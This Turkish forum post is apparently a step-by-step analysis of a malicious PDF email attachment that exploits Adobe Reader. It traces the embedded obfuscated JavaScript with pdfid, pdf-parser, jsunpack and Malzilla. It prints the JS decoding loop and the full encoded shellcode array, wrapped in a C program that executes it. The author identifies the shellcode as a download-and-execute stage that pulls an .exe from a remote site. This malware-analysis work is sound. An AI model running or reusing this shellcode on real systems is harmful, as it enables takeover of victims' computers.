PDF Malware Analysis (DERİNLEMESİNE) (1 Viewer)

Joined
Sep 13, 2018
Credits
0
Rating - 0%
Herkese tekrardan merhabalar efendim konuyu uzatmadan başlayalım.

Kahveniz hazırsa başlayalım!:)


Günümüz şartlarında E-Mail(Elektronik Posta) kullanımı, döküman gönderim işlemini de kolaylaştırmaktadır. Hazırlanan bir belge, anında kullanıcıya E-Posta ile gönderilebilmektedir.

Durum bu şekilde olunca zararlı uygulamaların programcıkların yayılma olasılığı da artmaktadır. Özellikle son günlerde kullanıcıları tehlikeli duruma düşüren zararlı programlar

PDF türü dosyalarla yayılmaktadır.

Bu yayılma işlemi nasıl gerçekleşmektedir?

Yayılma işlemi, .pdf belge içine gizlenen kod parçacıkları aracılığıyla, Adobe Acrobat Reader uygulamasında yer alan uygulama zafiyetinden faydalanmaktadır. PDF, Adobe firması tarafından geliştirilmiştir(Portable Document Format Taşınabilir Dosya Formatı). Neticesinde bir çok kullanıcı tarafından kullanılan bir dosya formatı olup, kullanım oranı artmaktadır. Özellikle şirketler dökümantasyon işlerinde pdf formatını çok tercih etmektedirler.

Bu yazımda E-Posta iletimde karşılaştığım bir .pdf belgesi üzerinde gerçekleştirdiğim analizi anlatacağım.

E-Postalarımı kontrol ederken “Re : Doc” adı altında bir e-posta gördüm.

PDZvl6.png


Gelen postayı incelediğimde,ekinde bir .pdf dosyası yeralmaktaydı.

zM7Q0O.png


Bu pdf dosyasını incelemek için kayıt altına aldım.

Akabinde...

Öncelikle kayıt altına aldığım bu .pdf dosyasını çeşitli antivirüslerle tarama işlemine tabi tuttum.
Fakat dosya temiz görünüyordu(Antivirüslere göre). Dosya gerçektende temiz ya da gözden saklanması için belge içerisine bir dizi kod yerleştirilmişti.

İncelemeye devam ettim.

NDRYZQ.png


"pdfid.py" ile pdf belgesinin kimlik bilgilerini(ID) incelediğimde Javascript kısmında 2 değeri, OpenAction kısmında 0 değeri mevcut. OpenAction 0 ise belge açıldığında bir hareketlilik yok. Javascript 2 değeri olması, belgenin kalbinde mevcut olan bir hareketlilik söz konusudur. Belge içine javascript kodu gömülü olduğu kesin.

Bz5oLV.png


g6Jj6Z.png


"pdf-parser.py" ile pdf içine gömülü olan parçaları görelim. Parçaları inceledikçe bazı kodlar görüyoruz.

İlk etapta bu javascript kodlarını gördüğümüzde şüphe uyandırıcı bir durum olmayabilir. Daha iyi bir inceleme için pdf dosyasıiçinde, kimlik bilgileri adı altına gömülü olan kısımları bir çözelim. Bunun için "jsunpack" isimli uygulamadan faydalanalım.

Kodlar :

root@bt:/home/analiz/pdf# cd jsunpack/


root@bt:/home/analiz/pdf/jsunpack# ./jsunpackn.py ../UnionRfc.pdf <----Çözümleme root@bt:/home/analiz/pdf/jsunpack# cd files/ root@bt:/home/analiz/pdf/jsunpack/files# ls -la


total 124


drwxr-xr-x 3 root root 4096 Dec 6 04:14 .


drwxr-xr-x 6 root root 4096 Dec 6 04:23 ..


-rw-r--r-- 1 root root 109666 Dec 6 04:23 decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <----- oluşan çözümleme dosyası


root@bt:/home/analiz/pdf/jsunpack/files# less decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <---dosya içinde neler var? info.producer = String('381\x2c1315\x2c925\x2c1948\x2c7\x2c1306\x2c1038\x2c797\x2c1723\x2c1064\x2c385\


........................................\x2c1697\x2c995\x2c1725\x2c527\x2c805\x2c696\x2c176\x2c1606\x2c1018\x2c1305\....





var hfy = zquz[jyp.replace('2010','uc')];


var xtph = '' + mrp.getFullYear() + aou + 'i'+aou+'t'; var ckqg = 's' + xtph.replace('2010','pl');


var vwl='2010';


vwl = vwl.replace(mrp.getFullYear(),''); yv('va'+vwl+'r n' + aou + 'r=[' + hfy + vwl + ']'); var xluf = nr;


bbg='le'+aou+'ng'+aou+'th'; var hcsh = xluf[bbg] / 2;


for (var nvm = 0; nvm < hcsh; nvm++) { dezk += kij(xluf[nvm+hcsh] - xluf[nvm]);


}


…..

İnceleme itibariyle dikkat çeken 2 kısım bulunmaktadır. /Producer kısmı ve javascript kod bulunan /JS kısmı.

PDF dosya içeriğinde İlk görünüşte javascript kodundan başka dikkate değer bir kısım görünmemektedir.

Procuder kısmında yer alan değerler bizi sonuca ulaşmamızda büyük rol oynadığı kesin. Nasıl mı?

Producer dizininde yer alan değerleri javascript kodu vasıtasıyla çözümlendiği aşinadır. Javascript kodu vasıtasıyla kendi çözümleyici kodu yazdığımızda gerçek niyet ortaya çıkar.

4zvYzp.png


Producer kısmında yer alan sayı dizimini anlamlı hale getirmek için PDF için gömülen javascript kodundan faydalandıkBoylece Producer dizelerini birleştirmeye yarayan "gizli.js" adı altında küçük bir kod oluşturduk.

Çözümleme işini gerçekleştiren döngü:

var ayrim = producer.length / 2;

for (var artis = 0; artis < ayrim; artis++)

{

gizlenmis += String.fromCharCode(producer[artis+ayrim] - producer[artis] );

}

Bu döngü producer kısmındaki sayı dizimlerini daha anlaşılır hale getirmektedir.

print(gizlenmis);

ile sayı dizimini ekrana yansıtıyoruz.

3zn2z5.png


Bingo.....Producer dize değerlerini çözümledik. İşte gerçek amaç bu javascript kodunda yer almaktadır.

Bu kod ne anlama geliyor?

VD129y.png


Çözümlenen kodu düzenli hale getirdiğimizde geticon() , printf() ve yt() gibi fonksiyonlar bir dizi işlem yaptığı aşikardır. Yine gözle görülür bir ipucu olarak "var gj=" altında yer alan değerlerdir.

Bu değerler vasıtasıyla Adobe Acrobat Reader programı üzerinde uygulama zaafiyeti oluşturulur.

PDF dosyası içerisinden neler çıktığını yavaş yavaş görmeye başladık. Ekrana yansıyan bu çözümlenmiş kod parçasında önemli olan gj değerine aktarılan dizi değeridir. Bu değer Adobe Acrobat yazılımda zafiyet oluşturulması sonucu aktive edilecek temel kod parçasıdır. Bu kod parçasını nasıl çözümleriz?

Malzilla uygulamasını çalıştırarak kodu hexfile haline dönüştürelim.

7Dr2YW.png


0zob89.png


Oluşturduğum hexfile.bin dosyasını inceleyelim. "strings" komutuda gözle görünür dişe dokunur bir bilgi vermedi.

Kodlar:

root@bt:/home/analiz/pdf# strings hexfile.bin Hg4s


Hg2w pUG6H


_XIHH

hexview ile hexfile.bin içeriğine baktığımızda, henangi anlaşılır bir karakter dizimide mevcut değil

k6yZkA.png


Karşımızda encode edilmiş bir shellcode mevcut.

Anlaşılıyor ki, bazı bilgiler şifrelenmiş(encode). Çözümlemeye devam edelim. Artık elimizde; PDF dosyası analiziyle başlayıp, dosya içerisine eklenen Javascript parçacığının incelenmesiyle el ettiğimiz hexfile.bin dosyası var.

Elde ettiğimiz kodları barındıran hexfile dosyası bize neyi açıklayacak?

Hexfile.bin dosyasının hex kodlarına ayırıp, şu küçük kodun shellcode dizinine yazalım.

Kodlar:

#cat hexfile.bin | perl -ne 's/(.)/printf "0x%02x,",ord($1)/ge' > shellcode.txt

#more shellcode.txt 0x90,0x90,0x90,0x90,0xeb,0x16,0xb9,0x3d,0x01,0x00,0x00,0x8b….


#vi shellcode.c


#include <stdio.h> #include <stdlib.h> int main()

{

unsigned char shellcode[] = "\x90\x90\x90\x90\xeb\x16\xb9\x3d\x01\x00\x00\x8b\x34\x24\x89\xf7\x80" "\x3e\xe9\x74\x06\xac\x34\xb7\xaa\xe2\xfa\xc3\xe8\xe5\xff\xff\xff\x5e\xbb\xb6\xb7\xb7\xe9\x36" "\x5b\xeb\xb6\xb7\xb7\x3e\x50\x3a\xf8\xa7\x3a\xd8\xe3\x86\x6c\xe0\xe6\xe4\xe4\xe4\xe4\xe4\xe4" "\xe4\xe2\xe4\xe4\xdf\xb3\xb6\xb7\xb7\xe2\xe1\xe4\xdf\xd8\xd9\xb7\xb7\xdf\xc2\xc5\xdb\xda\xe3" "\xdf\x39\xf9\xb9\x5b\x5f\xff\xb7\xb7\xb7\xe7\x5f\xcb\xb7\xb7\xb7\x48\x67\x34\x73\xbf\xdf\xf8" "\x58\xf8\xb2\xe7\x5f\xdb\xb7\xb7\xb7\x48\x67\x32\x77\xc2\xa0\xdd\xe3\xee\x44\x1d\xdf\xc5\x49" "\x04\xa1\x5f\xaa\xb7\xb7\xb7\xe7\x5f\xe6\xb7\xb7\xb7\x48\x67\xe4\xdd\x49\xdf\x3e\xd8\xb6\x0a" "\x5f\xbf\xb7\xb7\xb7\xe7\x5f\x8b\xb7\xb7\xb7\x48\x67\xd7\x86\x77\xd3\x3c\xe7\x87\x3c\xe5\xbb" "\x3c\xe5\xa3\x3c\xc5\x9f\x0e\xaf\xb7\xb7\xb7\x86\x48\x86\x77\x1b\x8b\xd6\xcb\xb5\x9b\x97\x76"
"\x78\xba\xb6\x70\x55\x47\x36\x48\xec\x0b\xfd\xdd\x3c\xf5\xa7\x3c\xa5\xc2\x6e\x3e\xf3\x93\xab" "\xd6\x74\xd7\x3c\xdb\x93\x93\x3c\xf2\x8b\x3c\xe3\xb2\xcf\xb6\x5d\x3c\xfd\xaf\x3c\xed\x97\xb6" "\x5c\x54\x83\xfe\x3c\x83\x3c\xb6\x56\x86\x48\x86\x77\x4b\x1b\x33\x77\xc3\xb0\x76\x78\xba\xb6" "\x70\x5c\x43\x8c\xcb\x93\x9f\xc2\x56\x3c\xed\x93\xb6\x5c\xd1\x3c\xbb\xfc\x3c\xed\xab\xb6\x5c" "\x3c\xb3\x3c\xb6\x5f\x3e\xf3\x93\xab\xd6\x75\xbf\xb7\x5f\x58\x49\x48\x48\xdf\xc3\xc3\xc7\x8d" "\x98\x98\xc7\xd8\xc4\xc3\xd4\xd6\xc5\xd3\xc4\xc4\xd2\xc5\xc1\xde\xd4\xd2\xc4\x99\xd9\xd2\xc3" "\x98\xd1\xdb\xd6\xc4\xdf\x99\xd2\xcf\xd2\xb7";


(*(void(*) ()) shellcode) ();


}


root@bt:/home/analiz/pdf# gcc –o shellcode shellcode.c

Artık elimizde bütünüyle Adobe Acrobat Reader uygulamasının zafiyeti sonucunda

sistemde aktif hale gelen zararlı uygulamanın bir parçası bulunmaktadır. Artık bu shellcode uygulamasını analiz ederek PDF dosyasının temel amacını öğrenebiliriz.

gdb ya da Evan's Debugger ile oluşturduğumuz shellcode dosyasını incelersek bu kodun bir indir-çalıştır parçası olduğunu görürüz.

Adobe Acrobar Readerda oluşturulan zaafiyet sayesinde bu kod hafızada çalışarak bir internet sitesinden.exe çalıştırılabilir dosyayı kullanıcının bilgisayarına indirerek, kullanıcı artık bir havuzun parçası haline gelir.

Anlaşılacağı gibi kullanıcının bilgisayarı, indirilen bu dosya sayesinde, saldırgan çeşitli işler için kullanıcının bilgisayarını kontrol altına alır.

Bir pdf dosyası aracılığı ile kontrol dışı dosyanın kullanıcıya nasıl aktarıldığını anlamış olduk.

Uygulamalardaki zaafiyetin ne derece boyutlara ulaştığınıda algılamış olduk.

Kodlar:

#gdb ./shellcode (Resim-12)

(gdb) r


j6Gzjr.png


oVRn9b.png


Bu makalemizde bukadar beyler bayanlar uzun soluklu oldu ama olsun zevkliydi bence umarım işinize yaramıştır şimdiden teşekkürler.


Referanslar
http://blog.didierstevens.com/programs/pdf-tools/
http://www.mozilla.org/js/spidermonkey/
https://code.google.com/p/jsunpack-n/
http://malzilla.sourceforge.net/
http://www.codef00.com/projects.php
http://isc.sans.edu/diary.html?storyid=4972
 

Attachments

  • upload_2018-9-14_13-37-24.png
    upload_2018-9-14_13-37-24.png
    86.8 KB · Views: 1
  • upload_2018-9-14_13-37-58.png
    upload_2018-9-14_13-37-58.png
    41.9 KB · Views: 1
  • upload_2018-9-14_13-39-32.png
    upload_2018-9-14_13-39-32.png
    63.3 KB · Views: 1
  • upload_2018-9-14_13-40-36.png
    upload_2018-9-14_13-40-36.png
    180.7 KB · Views: 1
  • upload_2018-9-14_13-41-13.png
    upload_2018-9-14_13-41-13.png
    111.8 KB · Views: 0
  • upload_2018-9-14_13-41-16.png
    upload_2018-9-14_13-41-16.png
    111.8 KB · Views: 1
  • upload_2018-9-14_13-44-21.png
    upload_2018-9-14_13-44-21.png
    91.4 KB · Views: 2
  • upload_2018-9-14_13-48-54.png
    upload_2018-9-14_13-48-54.png
    281.8 KB · Views: 2
  • upload_2018-9-14_13-49-41.png
    upload_2018-9-14_13-49-41.png
    55.9 KB · Views: 1
  • upload_2018-9-14_13-49-58.png
    upload_2018-9-14_13-49-58.png
    154.6 KB · Views: 2

Users who are viewing this thread

Top